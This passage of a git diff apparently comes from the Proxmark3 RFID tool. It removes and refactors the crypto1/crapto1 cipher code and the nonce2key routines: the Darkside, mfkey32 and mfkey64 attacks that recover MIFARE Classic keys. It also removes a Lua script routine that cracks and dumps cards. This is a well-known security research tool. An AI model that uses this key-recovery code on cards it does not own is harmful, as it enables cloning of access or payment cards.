-       struct Crypto1State *statelist, *s;\r
-       uint32_t *odd, *even, *o, *e, top;\r
-\r
-       odd = lfsr_prefix_ks(ks, 1);\r
-       even = lfsr_prefix_ks(ks, 0);\r
-\r
-       statelist = malloc((sizeof *statelist) << 21);  //how large should be?\r
-       if(!statelist || !odd || !even)\r
-       {\r
-                               free(statelist);\r
-                               free(odd);\r
-                               free(even);\r
-                               return 0;\r
-       }\r
-\r
-       s = statelist;\r
-       for(o = odd; *o != -1; ++o)\r
-               for(e = even; *e != -1; ++e)\r
-                       for(top = 0; top < 64; ++top) {\r
-                               *o = (*o & 0x1fffff) | (top << 21);\r
-                               *e = (*e & 0x1fffff) | (top >> 3) << 21;\r
-                               s = brute_top(pfx, rr, par, *o, *e, s, no_par);\r
-                       }\r
-\r
-       s->odd = s->even = -1;\r
-       //printf("state count = %d\n",s-statelist);\r
-\r
-       free(odd);\r
-       free(even);\r
-\r
-       return statelist;\r
-}\r
diff --git a/client/nonce2key/crapto1.h b/client/nonce2key/crapto1.h
deleted file mode 100644 (file)
index f665312..0000000
+++ /dev/null
@@ -1,97 +0,0 @@
-/*  crapto1.h
-
-    This program is free software; you can redistribute it and/or
-    modify it under the terms of the GNU General Public License
-    as published by the Free Software Foundation; either version 2
-    of the License, or (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
-    MA  02110-1301, US$
-
-    Copyright (C) 2008-2008 bla <blapost@gmail.com>
-*/
-#ifndef CRAPTO1_INCLUDED
-#define CRAPTO1_INCLUDED
-#include <stdint.h>
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-struct Crypto1State {uint32_t odd, even;};
-struct Crypto1State* crypto1_create(uint64_t);
-void crypto1_destroy(struct Crypto1State*);
-void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
-uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
-uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
-uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
-uint32_t prng_successor(uint32_t x, uint32_t n);
-
-struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
-struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
-uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
-struct Crypto1State*
-lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8], uint8_t no_par);
-
-
-void lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb);
-void lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb);
-void lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb);
-int nonce_distance(uint32_t from, uint32_t to);
-#define SWAPENDIAN(x)\
-       (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
-
-#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
-       uint32_t __n = 0,__M = 0, N = 0;\
-       int __i;\
-       for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
-               for(__i = FSIZE - 1; __i >= 0; __i--)\
-                       if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
-                               break;\
-                       else if(__i)\
-                               __M = prng_successor(__M, (__i == 7) ? 48 : 8);\
-                       else 
-
-#define LF_POLY_ODD (0x29CE5C)
-#define LF_POLY_EVEN (0x870804)
-#define BIT(x, n) ((x) >> (n) & 1)
-#define BEBIT(x, n) BIT(x, (n) ^ 24)
-static inline int parity(uint32_t x)
-{
-#if !defined __i386__ || !defined __GNUC__
-       x ^= x >> 16;
-       x ^= x >> 8;
-       x ^= x >> 4;
-       return BIT(0x6996, x & 0xf);
-#else
-        __asm(    "movl %1, %%eax\n"
-               "mov %%ax, %%cx\n"
-               "shrl $0x10, %%eax\n"
-               "xor %%ax, %%cx\n"
-                "xor %%ch, %%cl\n"
-                "setpo %%al\n"
-                "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx");
-       return x;
-#endif
-}
-static inline int filter(uint32_t const x)
-{
-       uint32_t f;
-
-       f  = 0xf22c0 >> (x       & 0xf) & 16;
-       f |= 0x6c9c0 >> (x >>  4 & 0xf) &  8;
-       f |= 0x3c8b0 >> (x >>  8 & 0xf) &  4;
-       f |= 0x1e458 >> (x >> 12 & 0xf) &  2;
-       f |= 0x0d938 >> (x >> 16 & 0xf) &  1;
-       return BIT(0xEC57E80A, f);
-}
-#ifdef __cplusplus
-}
-#endif
-#endif
diff --git a/client/nonce2key/crypto1.c b/client/nonce2key/crypto1.c
deleted file mode 100644 (file)
index 42a44b2..0000000
+++ /dev/null
@@ -1,96 +0,0 @@
-/*  crypto1.c
-
-       This program is free software; you can redistribute it and/or
-       modify it under the terms of the GNU General Public License
-       as published by the Free Software Foundation; either version 2
-       of the License, or (at your option) any later version.
-
-       This program is distributed in the hope that it will be useful,
-       but WITHOUT ANY WARRANTY; without even the implied warranty of
-       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-       GNU General Public License for more details.
-
-       You should have received a copy of the GNU General Public License
-       along with this program; if not, write to the Free Software
-       Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
-       MA  02110-1301, US
-
-       Copyright (C) 2008-2008 bla <blapost@gmail.com>
-*/
-#include "crapto1.h"
-#include <stdlib.h>
-
-#define SWAPENDIAN(x)\
-       (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
-
-struct Crypto1State * crypto1_create(uint64_t key)
-{
-       struct Crypto1State *s = malloc(sizeof(*s));
-       int i;
-
-       for(i = 47;s && i > 0; i -= 2) {
-               s->odd  = s->odd  << 1 | BIT(key, (i - 1) ^ 7);
-               s->even = s->even << 1 | BIT(key, i ^ 7);
-       }
-       return s;
-}
-void crypto1_destroy(struct Crypto1State *state)
-{
-       free(state);
-}
-void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
-{
-       int i;
-       for(*lfsr = 0, i = 23; i >= 0; --i) {
-               *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
-               *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
-       }
-}
-uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
-{
-       uint32_t feedin;
-       uint32_t tmp;
-       uint8_t ret = filter(s->odd);
-
-       feedin  = ret & !!is_encrypted;
-       feedin ^= !!in;
-       feedin ^= LF_POLY_ODD & s->odd;
-       feedin ^= LF_POLY_EVEN & s->even;
-       s->even = s->even << 1 | parity(feedin);
-
-       tmp = s->odd;
-       s->odd = s->even;
-       s->even = tmp;
-
-       return ret;
-}
-uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
-{
-       uint8_t i, ret = 0;
-
-       for (i = 0; i < 8; ++i)
-               ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
-
-       return ret;
-}
-uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
-{
-       uint32_t i, ret = 0;
-
-       for (i = 0; i < 4; ++i, in <<= 8)
-               ret = ret << 8 | crypto1_byte(s, in >> 24, is_encrypted);
-
-       return ret;
-}
-
-/* prng_successor
- * helper used to obscure the keystream during authentication
- */
-uint32_t prng_successor(uint32_t x, uint32_t n)
-{
-       SWAPENDIAN(x);
-       while(n--)
-               x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
-
-       return SWAPENDIAN(x);
-}
diff --git a/client/nonce2key/nonce2key.c b/client/nonce2key/nonce2key.c
deleted file mode 100644 (file)
index a6b33e9..0000000
+++ /dev/null
@@ -1,288 +0,0 @@
-//-----------------------------------------------------------------------------
-// Merlok - June 2011
-// Roel - Dec 2009
-// Unknown author
-//
-// This code is licensed to you under the terms of the GNU GPL, version 2 or,
-// at your option, any later version. See the LICENSE.txt file for the text of
-// the license.
-//-----------------------------------------------------------------------------
-// MIFARE Darkside hack
-//-----------------------------------------------------------------------------
-
-#include <inttypes.h>
-#include <time.h>
-
-#include "nonce2key.h"
-#include "mifarehost.h"
-#include "ui.h"
-#include "util.h"
-
-int compar_state(const void * a, const void * b) {
-       // didn't work: (the result is truncated to 32 bits)
-       //return (*(int64_t*)b - *(int64_t*)a);
-
-       // better:
-       if (*(int64_t*)b == *(int64_t*)a) return 0;
-       else if (*(int64_t*)b > *(int64_t*)a) return 1;
-       else return -1;
-}
-
-int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
-  struct Crypto1State *state;
-  uint32_t i, pos, rr, nr_diff, key_count;//, ks1, ks2;
-  byte_t bt, ks3x[8], par[8][8];
-  uint64_t key_recovered;
-  int64_t *state_s;
-  static uint32_t last_uid;
-  static int64_t *last_keylist;
-  rr = 0;
-  
-  if (last_uid != uid && last_keylist != NULL)
-  {
-       free(last_keylist);
-       last_keylist = NULL;
-  }
-  last_uid = uid;
-
-  // Reset the last three significant bits of the reader nonce
-  nr &= 0xffffff1f;
-  
-  PrintAndLog("\nuid(%08x) nt(%08x) par(%016" PRIx64") ks(%016" PRIx64") nr(%08" PRIx32")\n\n",uid,nt,par_info,ks_info,nr);
-
-  for (pos=0; pos<8; pos++)
-  {
-    ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
-    bt = (par_info >> (pos*8)) & 0xff;
-    for (i=0; i<8; i++)
-    {
-      par[7-pos][i] = (bt >> i) & 0x01;
-    }
-  }
-
-  printf("|diff|{nr}    |ks3|ks3^5|parity         |\n");
-  printf("+----+--------+---+-----+---------------+\n");
-  for (i=0; i<8; i++)
-  {
-    nr_diff = nr | i << 5;
-    printf("| %02x |%08x|",i << 5, nr_diff);
-    printf(" %01x |  %01x  |",ks3x[i], ks3x[i]^5);
-    for (pos=0; pos<7; pos++) printf("%01x,", par[i][pos]);
-    printf("%01x|\n", par[i][7]);
-  }
-  
-       if (par_info==0)
-               PrintAndLog("parity is all zero,try special attack!just wait for few more seconds...");
-  
-       state = lfsr_common_prefix(nr, rr, ks3x, par, par_info==0);
-       state_s = (int64_t*)state;
-       
-       //char filename[50] ;
-    //sprintf(filename, "nt_%08x_%d.txt", nt, nr);
-    //printf("name %s\n", filename);
-       //FILE* fp = fopen(filename,"w");
-       for (i = 0; (state) && ((state + i)->odd != -1); i++)
-       {
-               lfsr_rollback_word(state+i, uid^nt, 0);
-               crypto1_get_lfsr(state + i, &key_recovered);
-               *(state_s + i) = key_recovered;
-               //fprintf(fp, "%012" PRIx64 "\n",key_recovered);
-       }
-       //fclose(fp);
-       
-       if(!state)
-               return 1;
-       
-       qsort(state_s, i, sizeof(*state_s), compar_state);
-       *(state_s + i) = -1;
-       
-       //Create the intersection:
-       if (par_info == 0 )
-               if ( last_keylist != NULL)
-               {
-                       int64_t *p1, *p2, *p3;
-                       p1 = p3 = last_keylist; 
-                       p2 = state_s;
-                       while ( *p1 != -1 && *p2 != -1 ) {
-                               if (compar_state(p1, p2) == 0) {
-                                       printf("p1:%" PRIx64" p2:%" PRIx64 " p3:%" PRIx64" key:%012" PRIx64 "\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
-                                       *p3++ = *p1++;
-                                       p2++;
-                               }
-                               else {
-                                       while (compar_state(p1, p2) == -1) ++p1;
-                                       while (compar_state(p1, p2) == 1) ++p2;
-                               }
-                       }
-                       key_count = p3 - last_keylist;;
-               }
-               else
-                       key_count = 0;
-       else
-       {
-               last_keylist = state_s;
-               key_count = i;
-       }
-       
-       printf("key_count:%d\n", key_count);
-
-       // The list may still contain several key candidates. Test each of them with mfCheckKeys
-       for (i = 0; i < key_count; i++) {
-               uint8_t keyBlock[6];
-               uint64_t key64;
-               key64 = *(last_keylist + i);
-               num_to_bytes(key64, 6, keyBlock);
-               key64 = 0;
-               if (!mfCheckKeys(0, 0, false, 1, keyBlock, &key64)) {
-                       *key = key64;
-                       free(last_keylist);
-                       last_keylist = NULL;
-                       if (par_info ==0)
-                               free(state);
-                       return 0;
-               }
-       }       
-
-       
-       free(last_keylist);
-       last_keylist = state_s;
-       
-       return 1;
-}
-
-// 32 bit recover key from 2 nonces
-bool mfkey32(nonces_t data, uint64_t *outputkey) {
-       struct Crypto1State *s,*t;
-       uint64_t outkey = 0;
-       uint64_t key=0;     // recovered key
-       uint32_t uid     = data.cuid;
-       uint32_t nt      = data.nonce;  // first tag challenge (nonce)
-       uint32_t nr0_enc = data.nr;  // first encrypted reader challenge
-       uint32_t ar0_enc = data.ar;  // first encrypted reader response
-       uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
-       uint32_t ar1_enc = data.ar2; // second encrypted reader response
-       clock_t t1 = clock();
-       bool isSuccess = false;
-       uint8_t counter=0;
-
-       s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
-
-       for(t = s; t->odd | t->even; ++t) {
-               lfsr_rollback_word(t, 0, 0);
-               lfsr_rollback_word(t, nr0_enc, 1);
-               lfsr_rollback_word(t, uid ^ nt, 0);
-               crypto1_get_lfsr(t, &key);
-               crypto1_word(t, uid ^ nt, 0);
-               crypto1_word(t, nr1_enc, 1);
-               if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
-                       //PrintAndLog("Found Key: [%012" PRIx64 "]",key);
-                       outkey = key;
-                       counter++;
-                       if (counter==20) break;
-               }
-       }
-       isSuccess = (counter == 1);
-       t1 = clock() - t1;
-       //if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.0f ticks \nFound %d possible keys", (float)t1, counter);
-       *outputkey = ( isSuccess ) ? outkey : 0;
-       crypto1_destroy(s);
-       /* //un-comment to save all keys to a stats.txt file 
-       FILE *fout;
-       if ((fout = fopen("stats.txt","ab")) == NULL) { 
-               PrintAndLog("Could not create file name stats.txt");
-               return 1;
-       }
-       fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
-       fclose(fout);
-       */
-       return isSuccess;
-}
-
-bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey) {
-       struct Crypto1State *s, *t;
-       uint64_t outkey  = 0;
-       uint64_t key       = 0;                      // recovered key
-       uint32_t uid     = data.cuid;
-       uint32_t nt0     = data.nonce;  // first tag challenge (nonce)
-       uint32_t nr0_enc = data.nr;  // first encrypted reader challenge
-       uint32_t ar0_enc = data.ar; // first encrypted reader response
-       uint32_t nt1     = data.nonce2; // second tag challenge (nonce)
-       uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
-       uint32_t ar1_enc = data.ar2; // second encrypted reader response        
-       bool isSuccess = false;
-       int counter = 0;
-       
-       //PrintAndLog("Enter mfkey32_moebius");
-       clock_t t1 = clock();
-
-       s = lfsr_recovery32(ar0_enc ^ prng_successor(nt0, 64), 0);
-  
-       for(t = s; t->odd | t->even; ++t) {
-               lfsr_rollback_word(t, 0, 0);
-               lfsr_rollback_word(t, nr0_enc, 1);
-               lfsr_rollback_word(t, uid ^ nt0, 0);
-               crypto1_get_lfsr(t, &key);
-               
-               crypto1_word(t, uid ^ nt1, 0);
-               crypto1_word(t, nr1_enc, 1);
-               if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64))) {
-                       //PrintAndLog("Found Key: [%012" PRIx64 "]",key);
-                       outkey=key;
-                       ++counter;
-                       if (counter==20)
-                               break;
-               }
-       }
-       isSuccess       = (counter == 1);
-       t1 = clock() - t1;
-       //if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.0f ticks \nFound %d possible keys", (float)t1,counter);
-       *outputkey = ( isSuccess ) ? outkey : 0;
-       crypto1_destroy(s);
-       /* // un-comment to output all keys to stats.txt
-       FILE *fout;
-       if ((fout = fopen("stats.txt","ab")) == NULL) { 
-               PrintAndLog("Could not create file name stats.txt");
-               return 1;
-       }
-       fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
-       fclose(fout);
-       */
-       return isSuccess;
-}
-
-int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){
-       uint32_t uid    = le32toh(data);
-       uint32_t nt     = le32toh(data+4);  // tag challenge
-       uint32_t nr_enc = le32toh(data+8);  // encrypted reader challenge
-       uint32_t ar_enc = le32toh(data+12); // encrypted reader response        
-       uint32_t at_enc = le32toh(data+16);     // encrypted tag response
-       return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey);
-}
-
-int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){
-       uint64_t key    = 0;                            // recovered key
-       uint32_t ks2;                                           // keystream used to encrypt reader response
-       uint32_t ks3;                                           // keystream used to encrypt tag response
-       struct Crypto1State *revstate;
-       
-       PrintAndLog("Enter mfkey64");
-       clock_t t1 = clock();
-       
-       // Extract the keystream from the messages
-       ks2 = ar_enc ^ prng_successor(nt, 64);
-       ks3 = at_enc ^ prng_successor(nt, 96);
-       revstate = lfsr_recovery64(ks2, ks3);
-       lfsr_rollback_word(revstate, 0, 0);
-       lfsr_rollback_word(revstate, 0, 0);
-       lfsr_rollback_word(revstate, nr_enc, 1);
-       lfsr_rollback_word(revstate, uid ^ nt, 0);
-       crypto1_get_lfsr(revstate, &key);
-       PrintAndLog("Found Key: [%012" PRIx64 "]", key);
-       crypto1_destroy(revstate);
-       *outputkey = key;
-       
-       t1 = clock() - t1;
-       if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.0f ticks \n", (float)t1);
-       return 0;
-}
-
diff --git a/client/nonce2key/nonce2key.h b/client/nonce2key/nonce2key.h
deleted file mode 100644 (file)
index fac9c15..0000000
+++ /dev/null
@@ -1,42 +0,0 @@
-//-----------------------------------------------------------------------------
-// Merlok - June 2011
-// Roel - Dec 2009
-// Unknown author
-//
-// This code is licensed to you under the terms of the GNU GPL, version 2 or,
-// at your option, any later version. See the LICENSE.txt file for the text of
-// the license.
-//-----------------------------------------------------------------------------
-// MIFARE Darkside hack
-//-----------------------------------------------------------------------------
-
-#ifndef __NONCE2KEY_H
-#define __NONCE2KEY_H
-
-#include <stdio.h>
-#include <stdlib.h>
-#include "crapto1.h"
-#include "common.h"
-//#include <stdbool.h> //for bool
-
-typedef struct {
-                         uint32_t cuid;
-                         uint8_t  sector;
-                         uint8_t  keytype;
-                         uint32_t nonce;
-                         uint32_t ar;
-                         uint32_t nr;
-                         uint32_t nonce2;
-                         uint32_t ar2;
-                         uint32_t nr2;
-                       } nonces_t;
-
-int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key); 
-bool mfkey32(nonces_t data, uint64_t *outputkey);
-bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey);
-int tryMfk64_ex(uint8_t *data, uint64_t *outputkey);
-int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey);
-
-//uint64_t mfkey32(uint32_t uid, uint32_t nt, uint32_t nr0_enc, uint32_t ar0_enc, uint32_t nr1_enc, uint32_t ar1_enc);
-
-#endif
diff --git a/client/obj/crapto1/.dummy b/client/obj/crapto1/.dummy
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/client/obj/nonce2key/.dummy b/client/obj/nonce2key/.dummy
deleted file mode 100644 (file)
index e69de29..0000000
index ba8c7205287d877e406fd97197258bb35461cde7..2ed127a4f934d2eb736c567af1de07d3d1e77af5 100644 (file)
@@ -22,7 +22,6 @@
 #include "cmdmain.h"
 #include "uart.h"
 #include "ui.h"
-#include "sleep.h"
 #include "cmdparser.h"
 #include "cmdhw.h"
 #include "whereami.h"
index 10d554a07082a9dab2e237d7324f689b0797b309..d68adb3ee66ab82406bd448f147b315d8eb83832 100644 (file)
@@ -8,15 +8,17 @@
 // Some lua scripting glue to proxmark core.
 //-----------------------------------------------------------------------------
 
+#include "scripting.h"
+
+#include <stdlib.h>
 #include <lua.h>
 #include <lualib.h>
 #include <lauxlib.h>
 #include "proxmark3.h"
 #include "usb_cmd.h"
 #include "cmdmain.h"
-#include "scripting.h"
 #include "util.h"
-#include "nonce2key/nonce2key.h"
+#include "mifarehost.h"
 #include "../common/iso15693tools.h"
 #include "iso14443crc.h"
 #include "../common/crc16.h"
@@ -124,49 +126,27 @@ static int returnToLuaWithError(lua_State *L, const char* fmt, ...)
        return 2;
 }
 
-static int l_nonce2key(lua_State *L){
-
-       size_t size;
-       const char *p_uid = luaL_checklstring(L, 1, &size);
-       if(size != 4)  return returnToLuaWithError(L,"Wrong size of uid, got %d bytes, expected 4", (int) size);
-
-       const char *p_nt = luaL_checklstring(L, 2, &size);
-       if(size != 4)  return returnToLuaWithError(L,"Wrong size of nt, got %d bytes, expected 4", (int) size);
-
-       const char *p_nr = luaL_checklstring(L, 3, &size);
-       if(size != 4)  return returnToLuaWithError(L,"Wrong size of nr, got %d bytes, expected 4", (int) size);
-
-       const char *p_par_info = luaL_checklstring(L, 4, &size);
-       if(size != 8)  return returnToLuaWithError(L,"Wrong size of par_info, got %d bytes, expected 8", (int) size);
-
-       const char *p_pks_info = luaL_checklstring(L, 5, &size);
-       if(size != 8)  return returnToLuaWithError(L,"Wrong size of ks_info, got %d bytes, expected 8", (int) size);
-
-
-       uint32_t uid = bytes_to_num(( uint8_t *)p_uid,4);
-       uint32_t nt = bytes_to_num(( uint8_t *)p_nt,4);
-
-       uint32_t nr = bytes_to_num(( uint8_t*)p_nr,4);
-       uint64_t par_info = bytes_to_num(( uint8_t *)p_par_info,8);
-       uint64_t ks_info = bytes_to_num(( uint8_t *)p_pks_info,8);
-
-       uint64_t key = 0;
-
-       int retval = nonce2key(uid,nt, nr, par_info,ks_info, &key);
+static int l_mfDarkside(lua_State *L){
 
+       uint64_t key;
+       
+       int retval = mfDarkside(&key);
+       
        //Push the retval on the stack
-       lua_pushinteger(L,retval);
+       lua_pushinteger(L, retval);
 
        //Push the key onto the stack
        uint8_t dest_key[8];
-       num_to_bytes(key,sizeof(dest_key),dest_key);
+       num_to_bytes(key, sizeof(dest_key), dest_key);
 
        //printf("Pushing to lua stack: %012" PRIx64 "\n",key);
-       lua_pushlstring(L,(const char *) dest_key,sizeof(dest_key));
+       lua_pushlstring(L,(const char *)dest_key, sizeof(dest_key));
 
        return 2; //Two return values
 }
+
 //static int l_PrintAndLog(lua_State *L){ return CmdHF14AMfDump(luaL_checkstring(L, 1));}
+
 static int l_clearCommandBuffer(lua_State *L){
        clearCommandBuffer();
        return 0;
@@ -498,7 +478,7 @@ int set_pm3_libraries(lua_State *L)
        static const luaL_Reg libs[] = {
                {"SendCommand",                 l_SendCommand},
                {"WaitForResponseTimeout",      l_WaitForResponseTimeout},
-               {"nonce2key",                   l_nonce2key},
+               {"mfDarkside",                  l_mfDarkside},
                //{"PrintAndLog",                 l_PrintAndLog},
                {"foobar",                      l_foobar},
                {"ukbhit",                      l_ukbhit},
index ce6db3c00767091c2ab5cd3a61e7d643bcea8d5a..e68f7a75d188d915e142bb9b10e63341203f3b22 100644 (file)
@@ -8,7 +8,7 @@ author = "Martin Holst Swende"
 
 desc =
 [[
-This is a which automates cracking and dumping mifare classic cards. It sets itself into 
+This is a script which automates cracking and dumping mifare classic cards. It sets itself into 
 'listening'-mode, after which it cracks and dumps any mifare classic card that you 
 place by the device. 
 
@@ -63,91 +63,6 @@ function wait_for_mifare()
        return nil, "Aborted by user"
 end
 
-function mfcrack()
-       core.clearCommandBuffer()
-       -- Build the mifare-command
-       local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
-       
-       local retry = true
-       while retry do
-               core.SendCommand(cmd:getBytes())
-               local key, errormessage = mfcrack_inner()
-               -- Success?
-               if key then return key end
-               -- Failure? 
-               if errormessage then return nil, errormessage end
-               -- Try again..set arg1 to 0 this time. 
-
-               cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
-       end     
-       return nil, "Aborted by user"
-end
-
-
-function mfcrack_inner()
-       while not core.ukbhit() do              
-               local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
-               if result then
-
-                       --[[
-                       I don't understand, they cmd and args are defined as uint32_t, however, 
-                       looking at the returned data, they all look like 64-bit things: 
-
-                       print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
-
-                       FF      00      00      00      00      00      00      00      <-- 64 bits of data
-                       FE      FF      FF      FF      00      00      00      00      <-- 64 bits of data
-                       00      00      00      00      00      00      00      00      <-- 64 bits of data
-                       00      00      00      00      00      00      00      00      <-- 64 bits of data
-                       04      7F      12      E2      00             <-- this is where 'data' starts
-
-                       So below I use LI to pick out the "FEFF FFFF", don't know why it works.. 
-                       --]]
-                       -- Unpacking the arg-parameters
-                       local count,cmd,isOK = bin.unpack('LI',result)
-                       --print("response", isOK)--FF FF FF FF
-                       if isOK == 0xFFFFFFFF then
-                               return nil, "Button pressed. Aborted."
-                       elseif isOK == 0xFFFFFFFE then
-                               return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
-                       elseif isOK == 0xFFFFFFFD then
-                               return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
-                       elseif isOK == 0xFFFFFFFC then
-                               return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
-                       elseif isOK ~= 1 then 
-                               return nil, "Error occurred" 
-                       end
-
-
-                       -- The data-part is left
-                       -- Starts 32 bytes in, at byte 33
-                       local data = result:sub(33)
-
-                       -- A little helper
-                       local get = function(num)
-                               local x = data:sub(1,num)
-                               data = data:sub(num+1)
-                               return x
-                       end
-
-                       local uid,nt,pl = get(4),get(4),get(8)
-                       local ks,nr = get(8),get(4)
-
-                       local status, key = core.nonce2key(uid,nt, nr, pl,ks)
-                       if not status then return status,key end
-
-                       if status > 0 then 
-                               print("Key not found (lfsr_common_prefix problem)")
-                               -- try again
-                               return nil,nil
-                       else
-                               return key
-                       end
-               end
-       end
-       return nil, "Aborted by user"
-end
-
 function nested(key,sak)
        local typ = 1
        if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
@@ -209,8 +124,15 @@ function main(args)
                        print("Card found, commencing crack", uid)
                        -- Crack it
                        local key, cnt
-                       res,err = mfcrack()
-                       if not res then return oops(err) end
+                       err, res = core.mfDarkside()
+                       if     err == -1 then return oops("Button pressed. Aborted.") 
+                       elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
+                       elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
+                       elseif err == -4 then return oops([[
+Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
+generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
+                       elseif err == -5 then return oops("Aborted via keyboard.")
+                       end
                        -- The key is actually 8 bytes, so a 
                        -- 6-byte key is sent as 00XXXXXX
                        -- This means we unpack it as first
diff --git a/client/sleep.c b/client/sleep.c
deleted file mode 100644 (file)
index fe397da..0000000
+++ /dev/null
@@ -1,28 +0,0 @@
-//-----------------------------------------------------------------------------
-// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
-//
-// This code is licensed to you under the terms of the GNU GPL, version 2 or,
-// at your option, any later version. See the LICENSE.txt file for the text of
-// the license.
-//-----------------------------------------------------------------------------
-// platform-independant sleep macros
-//-----------------------------------------------------------------------------
-
-#ifndef _WIN32
-
-#define _POSIX_C_SOURCE        199309L
-#include "sleep.h"
-#include <time.h>
-#include <stdio.h>
-#include <sys/time.h>
-#include <errno.h>
-
-void nsleep(uint64_t n) {
-  struct timespec timeout;
-  timeout.tv_sec = n/1000000000;
-  timeout.tv_nsec = n%1000000000;
-  while (nanosleep(&timeout, &timeout) && errno == EINTR);
-}
-
-#endif // _WIN32
-
diff --git a/client/sleep.h b/client/sleep.h
deleted file mode 100644 (file)
index 81e1dea..0000000
+++ /dev/null
@@ -1,27 +0,0 @@
-//-----------------------------------------------------------------------------
-// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
-//
-// This code is licensed to you under the terms of the GNU GPL, version 2 or,
-// at your option, any later version. See the LICENSE.txt file for the text of
-// the license.
-//-----------------------------------------------------------------------------
-// platform-independant sleep macros
-//-----------------------------------------------------------------------------
-
-#ifndef SLEEP_H__
-#define SLEEP_H__
-
-#ifdef _WIN32
-# include <windows.h>
-# define sleep(n) Sleep(1000 * n)
-# define msleep(n) Sleep(n)
-#else
-# include <inttypes.h>
-# include <unistd.h>
-  void nsleep(uint64_t n);
-# define msleep(n) nsleep(1000000 * n)
-# define usleep(n) nsleep(1000 * n)
-#endif // _WIN32
-
-#endif // SLEEP_H__
-
index 30d39de6628a34f1fb8fe3efb73fd28a0046810c..14f0706314d253008a2949a61f57ac01993fe9ea 100644 (file)
@@ -8,7 +8,6 @@
 // Snooper binary
 //-----------------------------------------------------------------------------
 
-#include "sleep.h"
 #include "ui.h"
